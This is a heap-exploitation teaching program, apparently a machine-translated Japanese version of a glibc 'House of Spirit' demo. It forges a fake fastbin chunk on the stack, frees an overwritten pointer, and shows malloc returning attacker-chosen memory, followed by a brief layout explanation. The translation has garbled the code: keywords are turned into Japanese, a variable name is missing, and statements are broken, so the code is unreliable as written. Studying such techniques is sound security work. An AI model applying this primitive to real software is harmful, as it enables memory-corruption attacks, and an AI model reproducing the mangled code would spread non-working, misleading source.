ソース
1の#include <stdio.hの> 2の#include <STDLIB.H> 3 4 int型のmain() 5 { 6 関数fprintf(stderrに、" このファイルは、精神攻撃の家を示します。\ n " ); 7 8 fprintfの(stderrに、" malloc関数を(呼び出し)を1回となるよう、そのメモリを設定します。\ n " ); 9 のmalloc(1 )。 10 11 のfprintf(stderrに、「私たちは今、地域のfastbin "偽物を指すようにポインタを上書きします\ N。」); 12 符号なしの長いです 長いです * ; 13 // これはfastbinsY(10によってだまされていない)とは何の関係もない- fake_chunksは(fastbinsYから指さ)割り当て満たすためにメモリのちょうど部分である 14 符号なし長い 長い fake_chunksを[ 10 ] __attribute __((整列(16 ))); 15 16 関数fprintf(stderrに、" 長さのこの領域(メモリ:%のLU)は、2つのチャンクを含ん%Pで第開始し、第二%Pで\ N。"、はsizeof(fake_chunks)、&fake_chunks [ 1 ]、&fake_chunks [ 9 ])。 17 18 関数fprintf(stderrに、「依然としてfastbinカテゴリ(x64で<= 128)に落下しながら、この領域のこのchunk.sizeは、(チャンクデータを収容するために)領域よりも16以上でなければならない。PREV_INUSE(LSB)ビットがfastbinための遊離によって無視されます-sizedチャンクしかしIS_MMAPPED(第2 LSB)とNON_MAIN_ARENA(第3 LSB)ビットが問題を引き起こします。\ n " ); 19 関数fprintf(stderrに、" ...これはmallocの実装で使用される内部サイズに丸め、次のmalloc要求のサイズなければならないことに注意してください。Egはx64の上、0x30-0x38はすべて0x40のに四捨五入されますので、彼らは希望最後にmalloc関数のパラメータのための作業をします。\ n " ); 20 fake_chunks [ 1 ] = 0x40の。//これは、大きさ 21 22 関数fprintf(stderrに、" *次*偽領域のchunk.size健全でなければならない。すなわち> 2 * x64でSIZE_SZ(> 16)&& <AV-> system_mem(<デフォルトでは128キロバイトメインアリーナのため)nextsize整合性チェックを通過しないようにfastbinサイズの不要にする\ n。" ); 23 // fake_chunks [9] 0x40の/のsizeof(unsigned long型ロング)=なぜなら8 24 fake_chunks [ 9 ] = 0x1234の。// nextsize 25 26 fprintfの(stderrに、「今、私たちは、偽の最初のチャンク内の偽地域のアドレスを持つ私たちのポインタを上書きします、%pを。\ n個」、&1 ])。 27 関数fprintf(stderrに、「...このチャンクに関連付けられている*地域*のメモリアドレスは16バイトで整列されなければならないことを\ nは注意してください。」); 28 =&fake_chunks [ 2 ]。 29 30 関数fprintf(stderrに、" 上書きポインタを解放\ N。" ); 31 フリー(A) 32 33 関数fprintf(stderrに、" 今すぐ次のmallocは、%pで私達の偽チャンクの領域が返され%のP \ nされる!"、&fake_chunks [ 1 ]、&fake_chunks [ 2 ])。 34 関数fprintf(stderrに、" malloc関数(0x30から):%Pを\ n "、のmalloc(0x30から))。 35 }
業績
0x40の片のアプリケーションメモリサイズのアレイを有する第一
以下のように変更
1 0x00の 0x0000000000000000 0x0000000000000040 2 の0x10 0x0000000000000000 0x0000000000000000 3 の0x20 0x0000000000000000 0x0000000000000000 4 0x30から 0x0000000000000000 0x0000000000000000 5 0x40の 0x0000000000000000 0x0000000000001234
ヒープ上のサイズでは0x40に0x30を+ 0x10を0x00のに鍛造
スタックは、0x1234のコンプライアンス(> 16B && <128キロバイト)の大きさは、バイパスを検出し、ヘッドを鍛造した後
fastbinの0x40を入力します偽造ヒープを解放した後、
後は、この偽のヒープに割り当てられるヒープの0x30の大きさを再申請
サイズも、fastbin満たす検出を回避するために、コンプライアンス(> 16B && <128キロバイト)の隣接する下部スタックサイズにサイズを変更することに留意されたいです。